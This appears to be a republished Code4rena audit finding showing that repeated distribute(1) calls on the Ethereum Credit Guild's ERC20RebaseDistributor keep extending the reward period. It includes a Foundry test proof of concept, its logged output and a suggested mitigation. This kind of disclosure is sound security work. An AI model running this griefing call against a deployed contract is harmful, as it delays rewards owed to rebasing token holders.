Light ModeLight
Light ModeDark

One Bug Per Day

One H/M every day from top Wardens

Checkmark

Join over 465 wardens!

Checkmark

Receive the email at any hour!

Ad

Anyone can prolong the time for the rewards to get distributed

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L364

Vulnerability details

Impact

Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.

Proof of Concept

A malicious attacker only needs a few wei of tokens to execute the attack.

  • Let's imagine that the distribute(40e18) call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior.
  • During a distribute call the endTimestamp is calculated as follows
solidity
uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
  • So this means that the 40 tokens should be distributed over the next 30 days.
  • But each time that the distribute call is invoked the endTimestamp is prolonged.
  • An attacker could call distribute(1) to distribute 1 wei of a credit token once per day to prolong the distribution for around 3x ish.

Coded POC

Add this test to the ERC20RebaseDistributor.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv

solidity
function testProlongDistribution() public { token.mint(alice, 10e18); token.mint(bobby, 20e18); vm.prank(alice); token.enterRebase(); vm.prank(bobby); token.enterRebase(); token.mint(address(this), 41e18); // Distribute 40 tokens uint256 amountToDistribute = 40e18; token.distribute(amountToDistribute); // Attackers calls distribute(1) each day to only distribute 1 wei of a token for(uint256 i = 0; i < 30; i++) { vm.warp(block.timestamp + 1 days); token.distribute(1); } uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply(); console.log("Distributed supply after 30 days:"); console.log("----------------------------------------------------"); console.log("Distributed supply : ", distributedSupply); console.log("Expected distributes supply: ", amountToDistribute); for(uint256 i = 0; i < 60; i++) { vm.warp(block.timestamp + 1 days); token.distribute(1); } console.log(); distributedSupply = amountToDistribute - token.pendingDistributedSupply(); console.log("Distributed supply after 90 days:"); console.log("----------------------------------------------------"); console.log("Distributed supply : ", distributedSupply); console.log("Expected distributes supply: ", amountToDistribute); }
solidity
[PASS] testProlongDistribution() (gas: 1233397) Logs: Distributed supply after 30 days: ---------------------------------------------------- Distributed supply : 25533539461535580376 Expected distributes supply: 40000000000000000000 Distributed supply after 90 days: ---------------------------------------------------- Distributed supply : 38107800700086607344 Expected distributes supply: 40000000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

Either add a minimum amount required(chosen by governance) to invoke a distribute call if the call is not done by the ProfitManager or change how rewards are interpolated.

Assessed type

Math